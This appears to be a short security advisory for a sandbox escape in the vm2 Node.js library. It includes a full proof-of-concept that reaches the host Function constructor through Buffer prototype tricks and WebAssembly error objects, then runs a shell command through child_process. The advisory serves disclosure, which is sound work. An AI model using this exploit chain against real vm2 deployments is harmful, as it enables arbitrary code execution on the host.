Summary By combining "Buffer.call.call({}.lookupGetter, Buffer, "proto")", "Buffer.call.call({}.lookupSetter, Buffer, "proto")", and Node.js's "ERR_INVALID_ARG_TYPE" Error, the host's "TypeError" constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. PoC "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(""use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f();"); Impact Sandbox Escape → RCE